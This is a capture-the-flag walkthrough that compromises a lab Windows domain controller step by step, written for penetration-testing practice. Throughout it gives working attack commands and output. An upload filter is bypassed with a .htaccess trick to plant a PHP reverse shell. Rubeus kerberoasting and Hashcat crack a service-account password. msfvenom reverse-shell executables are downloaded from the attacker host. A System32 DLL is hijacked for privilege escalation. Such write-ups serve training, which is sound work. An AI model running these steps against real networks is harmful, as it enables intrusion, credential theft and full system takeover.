Initial Reconnaissance
We begin with a comprehensive Nmap scan across all 65,535 TCP ports to uncover any exposed services:
Initial Nmap scan:
sudo nmap -Pn -n $IP -sC -sV -p- --open -vResults:
This reveals a range of services, with several immediately suggesting a Windows Domain Controller:
- Port 53 (DNS)
- Port 88 (Kerberos)
- Port 389/3268 (LDAP)
- Ports 135/139/445 (RPC/NetBIOS/SMB)
- Port 5985 (WinRM)
- Web server running Apache on ports 80 and 443
The domain name access.offsec appears in LDAP service info, confirming this is part of an Active Directory setup. Given the presence of both HTTP and SMB-related services, there are multiple possible attack vectors.
Before diving deeper, it's good practice to run directory brute-forcing against the web server in a separate tab:
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,403,404I have chosen 42 threads with -t 42 and to ignore codes that will not be useful to me now with -b 400, 403, 404.
We will also update /etc/hosts with the domain info:
sudo nano /etc/hosts192.168.236.187 access.offsecWeb Application Enumeration
Navigating to the site on port 80 displays a sales-like landing page with multiple "Buy Now" buttons. Choosing the “Pro” option leads us to a file upload feature—potentially exploitable.
Earlier, Nmap showed that the web server is using PHP version 8.0.7.
We’ll give the Ivan Sincek reverse shell from revshells.com a shot to see if we can gain a foothold.
Pop in your tun0 IP address, and for the port, I’ve gone with 135 since the target is a Windows machine with SMB enabled. Paste the generated code into a text file, save it as shell.php, and then try accessing it through the browser.
We get redirected and quickly realise they’ve anticipated this move—PHP files aren’t permitted.
4o
After being bounced back to the homepage, we start testing other file types. Through a bit of trial and error, it becomes clear that no PHP-related extensions are getting through.
Time to get clever—we create a custom .htaccess file that tells the server to treat a new, uncommon extension as PHP. Then, we upload it to see if we can slip past the restriction.
echo "AddType application/x-httpd-php .hack" > .htaccessKeep in mind, to actually select the .htaccess file for upload, you'll need to adjust the file browser's view settings to enable viewing of hidden files.
The popup message looks promising—seems like the upload was accepted without any issues.
Rename your shell.php file so it uses the new custom PHP extension—for example, change it to shell.hack.
mv shell.php shell.hackWith the renamed file ready, we should now be able to upload it successfully. But before doing that, make sure to set up a listener to catch the reverse shell connection when it triggers.
sudo rlwrap nc -lnvp 135I’m using rlwrap to keep arrow key functionality intact once the shell connects.
With our listener ready, it’s time to upload the shell.hack file and trigger the reverse shell.
The upload isn't blocked, and we get the same reassuring popup as we did with the .htaccess file. But that raises a new question—where exactly did our files end up? Time to revisit the results from our Gobuster scan to track them down.
Gobuster reveals a dedicated /uploads directory, and it looks like we can browse it. Let’s head there and see if our files made it through.
Clicking on the uploaded shell causes the browser to hang and not fully load—that's usually a good sign. Time to check the listener to see if our shell connected successfully.
┌──(kali㉿kali)-[~]
└─$ sudo rlwrap nc -lnvp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.187] 51415
SOCKET: Shell has connected! PID: 3136
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\uploads>whoami
access\svc_apachePrivilege Escalation – Step 1: Kerberoasting
Now that we're in, it's time to take stock—what level of access do we have? What does the system environment look like? And most importantly, how can we escalate our privileges to become an Administrator?
whoami /privWe’ve landed on the machine, but our current access is pretty limited—no significant privileges to play with. There is an interesting technique involving privilege recovery for service accounts, but it doesn’t apply in this case. Still, it’s worth a read if you’re curious: https://itm4n.github.io/localservice-privileges/
So, let’s look at other options. Since this box is part of an Active Directory domain, one approach is to hunt for domain credentials—or better yet, generate our own.
To do that, we’ll first try to identify any Service Principal Names (SPNs) tied to domain accounts. For this, we’ll be using Rubeus, a powerful tool designed for working with Kerberos and performing related attacks.
From the reverse shell, let’s switch into PowerShell so we can start setting things up.
powershellGrab a precompiled version of Rubeus from this repo: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.
Then, spin up a quick Python web server on your Kali box to serve the file to the target:
python3 -m http.server 80To move Rubeus onto the Windows machine, use PowerShell’s Invoke-WebRequest like so:
iwr -uri http://192.168.45.239/Rubeus.exe -Outfile Rubeus.exeWe’ll be using Rubeus to perform a Kerberoasting attack—an approach that takes advantage of how Kerberos authentication works in Active Directory.
Here’s how it ties together:
Rubeus has a kerberoast command, which scans the domain for service accounts that are linked to specific services using SPNs (Service Principal Names). Since we're already logged in as a standard domain user, we’re allowed to ask the Domain Controller for tickets (called TGS-REP tickets) to access those services.
These tickets are encrypted using the service account's password. So, Rubeus fetches them for us and saves the output to a file—like hashes.kerberoast.
Now here's where the Kerberoasting part comes in:
We take those encrypted tickets and try to crack them offline using a wordlist and tools like Hashcat. If successful, we recover the plaintext password of that service account—which might give us access to more sensitive areas of the network.
In simple terms:
We're politely asking the domain for a ticket to a service, getting a copy that’s locked with the service account's password, then trying to guess the password until we unlock it—without making any more noise on the network.
.\Rubeus.exe kerberoast /outfile:hashes.kerberoastNext, let’s transfer the hashes.kerberoast file from the Windows target back to our Kali machine—this is the file containing the Kerberos service ticket hashes we pulled using Rubeus.
PS C:\xampp\htdocs\uploads> cat hashes.kerberoast
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$A8C00E424D5<SNIP>Once we’ve got the file on Kali, we’ll check which mode to use in Hashcat to crack a TGS-REP (Kerberos service ticket) hash. You can do that by running:
The output confirms that mode 13100 is the one we need for cracking TGS-REP hashes with encryption type 23.
We'll now kick off Hashcat using:
m 13100to specify the correct Kerberos cracking moderockyou.txtas our wordlist (a common choice for password cracking)best64.ruleto apply smart mutations to our wordlist-forcebecause we're running this inside a virtual machine and want to bypass any hardware warnings
Here’s the full command:
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force┌──(kali㉿kali)-[~]
└─$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
<SNIP>
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$a8c00e424d505b402856fd4dd165bff6$fbb8423<SNIP>a3c600937520edd2380070d916d:trustno1We’ve successfully cracked the Kerberos service ticket and revealed the plaintext password for the domain user svc_mssql. A solid win thanks to Kerberoasting.
Now comes the fun part—figuring out what we can access with these credentials. Based on our initial Nmap scan, we know the system has several accessible services, including:
- SMB on port 445 – useful for file shares and remote access
- WinRM on port 5985 – a common target for remote PowerShell sessions on Windows
Checking SMB Shares
We use smbclient to list available shares:
After entering the cracked password, we’re shown several shares:
ADMIN$,C$, andIPC$– default administrative sharesNETLOGONandSYSVOL– commonly found on domain controllers
These shares confirm this box is part of a domain, but trying to connect via SMBv1 fails with:
Error NT_STATUS_RESOURCE_NAME_NOT_FOUNDThis suggests the server doesn't support SMBv1 anymore (which is a good thing, security-wise). It also means tools trying to fall back to SMBv1 may not work properly.
Verifying with CrackMapExec
We try again using CrackMapExec to verify access and enumerate shares:
Output confirms that:
- The user credentials are valid
- But attempting to list shares fails due to a timeout during the NETBIOS connection
This could be due to firewall rules, timeout restrictions, or simply that the host doesn't respond well to NetBIOS over TCP.
Testing WinRM (Remote PowerShell)
Since SMB didn’t give us much, we try WinRM, another powerful method to gain shell access, particularly with tools like Evil-WinRM or nxc:
┌──(kali㉿kali)-[~/Tools]
└─$ nxc winrm 192.168.236.187 -u svc_mssql -d access.offsec -p "trustno1"
WINRM 192.168.236.187 5985 SERVER [*] Windows 10 / Server 2019 Build 17763 (name:SERVER) (domain:access.offsec)
WINRM 192.168.236.187 5985 SERVER [-] access.offsec\svc_mssql:trustno1And again with Evil-WinRM:
Unfortunately, both attempts fail. The server rejects the login with an AuthorizationError, indicating that while the credentials are valid, this user doesn’t have permission to log in via WinRM.
Where To From Here?
So far, we’ve confirmed that svc_mssql is a valid domain user with working credentials, but access to remote services is limited or blocked.
Our next move is to find a way to leverage these creds locally, using something like a runas technique to pivot from our existing shell—possibly spawning a new process as svc_mssql to explore further.
Let’s dig into that next.
Lateral Movement
Grab the runas PowerShell script from: https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Download it to your attacker machine, transfer it to the target, and then import it into the PowerShell session.
PS C:\xampp\htdocs\uploads> iwr -uri http://192.168.45.239/Invoke-RunasCs.ps1 -Outfile Invoke-RunasCs.ps1
PS C:\xampp\htdocs\uploads> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\uploads> . .\Invoke-RunasCs.ps1Let’s confirm that we can run commands as the target user by using the script to execute something simple—like checking the current user context with whoami. This will show whether the impersonation was successful.
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"PS C:\xampp\htdocs\uploads> . .\Invoke-RunasCs.ps1
PS C:\xampp\htdocs\uploads> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
access\svc_mssqlA warning pops up letting us know there are extra advanced options available, but we won’t need them for this scenario. Instead, we’ll move ahead and generate a reverse shell using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.239 LPORT=445 -f exe > shell.exeUpload the payload to the target machine, then execute it using the same RUN-AS method we used earlier. Just make sure you’ve set up a listener in advance—this time on a new port to avoid conflicts.
sudo rlwrap nc -nvlp 445PS C:\xampp\htdocs\uploads> iwr -uri http://192.168.45.239/shell.exe -Outfile shell.exe
PS C:\xampp\htdocs\uploads> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "shell.exe"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
We’ve managed to move laterally and gain access as a more privileged user. As is often the case, the user flag is right there on their Desktop waiting to be collected.
Privilege Escalation – Step 2: Exploiting SeManageVolumePrivilege
At this stage, we’ve gained two key privileges: SeMachineAccountPrivilege and SeManageVolumePrivilege. While both can be useful for privilege escalation, we’ll focus on SeManageVolumePrivilege to take things up to Administrator level.
You can find an exploit that leverages this privilege here: https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
Download the binary, move it over to the target machine, and run it to proceed with the escalation.
PS C:\Users\svc_mssql\Desktop> iwr -uri http://192.168.45.239/SeManageVolumeExploit.exe -Outfile SeManageVolumeExploit.exe
PS C:\Users\svc_mssql\Desktop> .\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 917
DONE With the exploit executed, we now have the ability to write directly to the *C:* drive—something typically restricted to higher-privileged users.
Even better, we can now run icacls on a protected directory—like C:\Windows\System32—to check the current permissions and confirm our elevated access.
From the icacls output, we can see several built-in groups and service accounts have permissions on C:\Windows\System32.
If you're curious to dig deeper into how this works under the hood, check out this excellent write-up: https://github.com/xct/SeManageVolumeAbuse
In short, now that we have the SeManageVolumePrivilege, we can exploit it to replace a DLL used by a trusted Windows binary. This allows us to execute arbitrary code with elevated privileges.
For this example, we’ll target tzres.dll, a library loaded by the systeminfo command. However, with some research, you could apply this technique to nearly any DLL used by a Windows process.
Generate a reverse shell payload and save it as tzres.dll. Transfer it to the victim and move it into C:\Windows\System32\wbem.
Personally, I’ll shut down the original access shell and reuse port 135 for the new one—but feel free to use a different port if you want to maintain multiple shells. There doesn’t appear to be any outbound firewall restrictions on this host, so you're free to set up as many listeners as you like.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.239 LPORT=135 -f dll -o tzres.dllPS C:\Users\Public> iwr -uri http://192.168.45.239/tzres.dll -Outfile tzres.dll
PS C:\Users\Public> Move-Item -Path "tzres.dll" -Destination "C:\Windows\System32\wbem\tzres.dll"To catch the reverse shell, start a listener on port 135 using nc with rlwrap so you retain shell history and arrow key functionality:
sudo rlwrap nc -nvlp 135Now that your listener is ready, go ahead and trigger the malicious DLL by running the systeminfo command on the target machine:
PS C:\Users\Public> systeminfo
systeminfo
systeminfo
ERROR: The remote procedure call failed.If the DLL hijack worked correctly, the command should hang or return an error—meanwhile, your listener should catch a new shell with elevated privileges.
The systeminfo command loads tzres.dll to display time zone information. If we replace that DLL with a malicious one (thanks to our elevated write access), systeminfo.exe will unknowingly execute our code when it runs.
This works because Windows doesn’t always verify the integrity of DLLs loaded from system paths—making it a classic DLL hijacking opportunity, especially useful for privilege escalation.
We’ve successfully caught a reverse shell running with elevated privileges, landing us in the context of NT AUTHORITY\NETWORK SERVICE—a significant escalation from where we started.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.187] 51758
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\network serviceWith this level of access, we’re able to browse to the Administrator’s Desktop and retrieve the final flag:
Summary
This box offers a great example of:
- Chaining together weak file upload validation and custom
.htaccess - Kerberoasting with Rubeus
- Lateral movement using
Invoke-RunasCs - Exploiting SeManageVolumePrivilege via DLL hijacking
It’s a rewarding and educational lab, especially for learning about privilege escalation within a Windows Active Directory environment.
References
- https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9